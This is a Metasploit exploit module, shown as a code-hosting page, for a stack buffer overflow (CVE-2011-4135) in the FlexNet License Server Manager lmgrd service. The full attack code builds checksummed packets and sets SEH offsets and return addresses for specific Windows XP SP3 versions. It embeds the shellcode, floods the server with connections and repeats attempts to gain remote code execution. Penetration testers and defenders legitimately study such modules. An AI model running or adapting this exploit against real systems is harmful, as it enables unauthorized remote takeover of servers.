Path: blob/master/modules/exploits/windows/license/flexnet_lmgrd_bof.rb
25180 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'FlexNet License Server Manager lmgrd Buffer Overflow',16'Description' => %q{17This module exploits a vulnerability in the FlexNet18License Server Manager.1920The vulnerability is due to the insecure usage of memcpy21in the lmgrd service when handling network packets, which22results in a stack buffer overflow.2324In order to improve reliability, this module will make lots of25connections to lmgrd during each attempt to maximize its success.26},27'Author' => [28'Luigi Auriemma', # Vulnerability Discovery and PoC29'Alexander Gavrun', # Vulnerability Discovery30'juan vazquez', # Metasploit module31'sinn3r' # Metasploit module32],33'License' => MSF_LICENSE,34'References' => [35[ 'CVE', '2011-4135' ],36[ 'OSVDB', '81899' ],37[ 'BID', '52718' ],38[ 'ZDI', '12-052' ],39[ 'URL', 'http://aluigi.altervista.org/adv/lmgrd_1-adv.txt' ],40[ 'URL', 'http://www.flexerasoftware.com/pl/13057.htm' ] # Vendor advisory41],42'Privileged' => true,43'DefaultOptions' => {44'EXITFUNC' => 'process'45},46'Payload' => {47'Space' => 400048},49'Platform' => 'win',50'Targets' => [51[ 'Debug', {} ],52[53'Autodesk Licensing Server Tools 11.5 / lmgrd 11.5.0.0 / Windows XP SP3',54{55'Offset' => 10476,56'ShellcodeOffset' => 5484,57'Ret' => 0x0047d01f # ppr from lmgrd.exe58}59],60[61'Alias License Tools 10.8.0.7 / lmgrd 10.8.0.7 / Windows XP SP3',62{63'Offset' => 7324,64'ShellcodeOffset' => 2332,65'Ret' => 0x004eda91 # ppr from lmgrd.exe66}67],68[69'Alias License Tools 10.8 / lmgrd 10.8.0.2 / Windows XP SP3',70{71'Offset' => 7320,72'ShellcodeOffset' => 2328,73'Ret' => 0x004eb2e1 # ppr from lmgrd.exe74}75],76],77'DefaultTarget' => 1,78'DisclosureDate' => '2012-03-23',79'Notes' => {80'Reliability' => UNKNOWN_RELIABILITY,81'Stability' => UNKNOWN_STABILITY,82'SideEffects' => UNKNOWN_SIDE_EFFECTS83}84)85)8687register_options(88[89Opt::RPORT(27000),90OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]),91OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]),92OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ])93]94)95end9697def header_checksum(packet)98packet_bytes = packet.unpack("C*")99checksum = packet_bytes[0]100i = 2101while i < 0x14102checksum = checksum + packet_bytes[i]103i = i + 1104end105return (checksum & 0x0FF)106end107108def data_checksum(packet_data)109word_table = ""110i = 0111while i < 256112v4 = 0113v3 = i114j = 8115116while j > 0117if ((v4 ^ v3) & 1) == 1118v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF119else120v4 = (v4 >> 1) & 0x0FFFF121end122v3 >>= 1123j = j - 1124end125126word_table << [v4].pack("S")127i = i + 1128end129k = 0130checksum = 0131data_bytes = packet_data.unpack("C*")132word_table_words = word_table.unpack("S*")133while k < packet_data.length134position = data_bytes[k] ^ (checksum & 0x0FF)135checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF136k = k + 1137end138return checksum139end140141def create_packet(data)142pkt = "\x2f"143pkt << "\x00" # header checksum144pkt << "\x00\x00" # data checksum145pkt << "\x00\x00" # pkt length146pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"147pkt << data148149pkt[4, 2] = [pkt.length].pack("n")150151data_sum = data_checksum(pkt[4, pkt.length - 4])152pkt[2, 2] = [data_sum].pack("n")153154hdr_sum = header_checksum(pkt[0, 20])155pkt[1] = [hdr_sum].pack("C")156157return pkt158end159160def jam161pkt = create_packet("")162163datastore['Jam'].times do164connect165sock.put(pkt)166disconnect167end168end169170def exploit171i = 1172while i <= datastore['Attempts'] and not session_created?173print_status("Attempt #{i}/#{datastore['Attempts']} to exploit...")174do_exploit175sleep(datastore['Wait'])176i = i + 1177end178179if not session_created?180print_error("Exploit didn't work after #{i} attempts")181end182end183184def do_exploit185t = framework.threads.spawn("jam", false) { jam }186my_payload = payload.encoded187188header_length = 20 # See create_packet() to understand this number189pkt_data = ""190if target.name =~ /Debug/191pkt_data << "a" * (65535 - header_length)192else193194pkt_data << rand_text(target['ShellcodeOffset'])195pkt_data << my_payload196pkt_data << rand_text(target['Offset'] - target['ShellcodeOffset'] - my_payload.length)197pkt_data << generate_seh_record(target.ret)198pkt_data << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5000").encode_string199pkt_data << rand_text(65535 - pkt_data.length - header_length)200end201202pkt = create_packet(pkt_data)203204connect205sock.put(pkt)206handler207disconnect208end209end210211212